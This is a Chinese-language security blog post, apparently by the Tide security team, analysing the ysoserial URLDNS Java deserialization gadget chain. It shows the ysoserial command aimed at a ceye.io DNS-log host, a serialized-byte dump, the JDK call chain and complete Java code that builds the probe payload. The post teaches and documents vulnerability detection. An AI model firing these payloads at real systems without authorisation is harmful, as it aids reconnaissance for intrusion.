
前言
URLDNS是ysoserial中比較簡單的gadget,可以通過分析其利用鏈來了解反序列化執行java代碼的過程。相較於其他gadget,URLDNS不依賴於第三方類和不限制jdk版本的屬性使其成為應用最多的探測Java反序列化命令執行的payload。
示例
使用ysoserial生成URLDNS gadget payload
java -jar ysoserial.jar URLDNS "http://xxxx.ceye.io" > 1.ser
desEmploy.java readObject()反序列化該字節序列,實現dns解析


使用SerializationDumper查看字節序列內容。
STREAM_MAGIC - 0xac edSTREAM_VERSION - 0x00 05Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 17 - 0x00 11 Value - java.util.HashMap - 0x6a6176612e7574696c2e486173684d6170 serialVersionUID - 0x05 07 da c1 c3 16 60 d1 newHandle 0x00 7e 00 00 classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount - 2 - 0x00 02 Fields 0: Float - F - 0x46 fieldName Length - 10 - 0x00 0a Value - loadFactor - 0x6c6f6164466163746f72 1: Int - I - 0x49 fieldName Length - 9 - 0x00 09 Value - threshold - 0x7468726573686f6c64 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata java.util.HashMap values loadFactor (float)1.06115891E9 - 0x3f 40 00 00 threshold (int)12 - 0x00 00 00 0c objectAnnotation TC_BLOCKDATA - 0x77 Length - 8 - 0x08 Contents - 0x0000001000000001 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 12 - 0x00 0c Value - java.net.URL - 0x6a6176612e6e65742e55524c serialVersionUID - 0x96 25 37 36 1a fc e4 72 newHandle 0x00 7e 00 02 classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount - 7 - 0x00 07 Fields 0: Int - I - 0x49 fieldName Length - 8 - 0x00 08 Value - hashCode - 0x68617368436f6465 1: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - port - 0x706f7274 2: Object - L - 0x4c fieldName Length - 9 - 0x00 09 Value - authority - 0x617574686f72697479 className1 TC_STRING - 0x74 newHandle 0x00 7e 00 03 Length - 18 - 0x00 12 Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b 3: Object - L - 0x4c fieldName Length - 4 - 0x00 04 Value - file - 0x66696c65 className1 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03 4: Object - L - 0x4c fieldName Length - 4 - 0x00 04 Value - host - 0x686f7374 className1 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03 5: Object - L - 0x4c fieldName Length - 8 - 0x00 08 Value - protocol - 0x70726f746f636f6c className1 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03 6: Object - L - 0x4c fieldName Length - 3 - 0x00 03 Value - ref - 0x726566 className1 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 04 classdata java.net.URL values hashCode (int)-1 - 0xff ff ff ff port (int)-1 - 0xff ff ff ff authority (object) TC_STRING - 0x74 newHandle 0x00 7e 00 05 Length - 14 - 0x00 0e Value - m.ceye.io - 0x6963696d77382e636579652e696f file (object) TC_STRING - 0x74 newHandle 0x00 7e 00 06 Length - 0 - 0x00 00 Value - - 0x host (object) TC_REFERENCE - 0x71 Handle - 8257541 - 0x00 7e 00 05 protocol (object) TC_STRING - 0x74 newHandle 0x00 7e 00 07 Length - 4 - 0x00 04 Value - http - 0x68747470 ref (object) TC_NULL - 0x70 objectAnnotation TC_ENDBLOCKDATA - 0x78 TC_STRING - 0x74 newHandle 0x00 7e 00 08 Length - 21 - 0x00 15 Value - http://xxx.ceye.io - 0x687474703a2f2f6963696d77382e636579652e696f TC_ENDBLOCKDATA - 0x78根據輸出結果得出:className,這是一個HashMap對象序列化後的字節序列;classDescFlags為3,表示該類重寫了readObject方法;classdata,HashMap中key&value是一個URL對象。
Gadget chains跟進分析
Gadget chains
HashMap.readObjetc() HashMap.putVal() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()根據SerializationDumper給出的信息,可以看出該payload的利用需要HashMap.readObject()方法來反序列化。
HashMap.readOject()
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }putVal(hash(key), key, value, false, false)-->HashMap.hash()
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }key.hashCode()-->URL.hashCode()
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }payload中URL對象hashCode為-1,進入handler.hashCode(this)-->URLStreamHandler.hashCode()
protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }InetAddress addr = getHostAddress(u),觸發dns請求。
URLDNS Gadget payload構造
上面分析了URLDNS Gadget是如何觸發的,逆推就可得出payload的生成方法。
import java.net.URL;import java.util.HashMap;public class genURLPoc { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap hashMap = new HashMap<>(); URL url = new URL("http://xxx.ceye.io"); hashMap.put(url,123); }}此時url的hashcode為默認值-1,當進行HashMap.put(),時會重新計算hash(key)觸發dns請求即生成payload時dnslog就會收到dns請求,會對檢查結果產生影響。


需要修改默認的hashcode為除-1外的任意值,使生成payload時不觸發dns請求。由於hashCode使用private修飾,所以需要反射的方式來修改其值,put進hashMap後再將其修改為-1,完整payload如下。
import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class genURLPoc { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap hashMap = new HashMap<>(); URL url = new URL("http://xxx.ceye.io"); //通過反射修改hashCode, Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,123); System.out.println(url.hashCode()); hashMap.put(url,123); f.set(url,-1); //序列化hashMap,儲存於urldns.ser try{ FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(hashMap); outputStream.close(); fileOutputStream.close(); }catch(Exception e){ e.printStackTrace(); } }}使用之前實驗用的desEmploy.java反序列化urldns.ser,dnslog收到請求。


Tide安全團隊正式成立於2019年1月,是新潮信息旗下以互聯網攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。
團隊作為「省級等保關鍵技術實驗室」先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室。團隊公眾號自創建以來,共發布原創文章400餘篇,自研平台達到31個,目有18個平台已開源。此外積極參加各類線上、線下CTF比賽並取得了優異的成績。如有對安全行業感興趣的小夥伴可以踴躍加入或關注我們。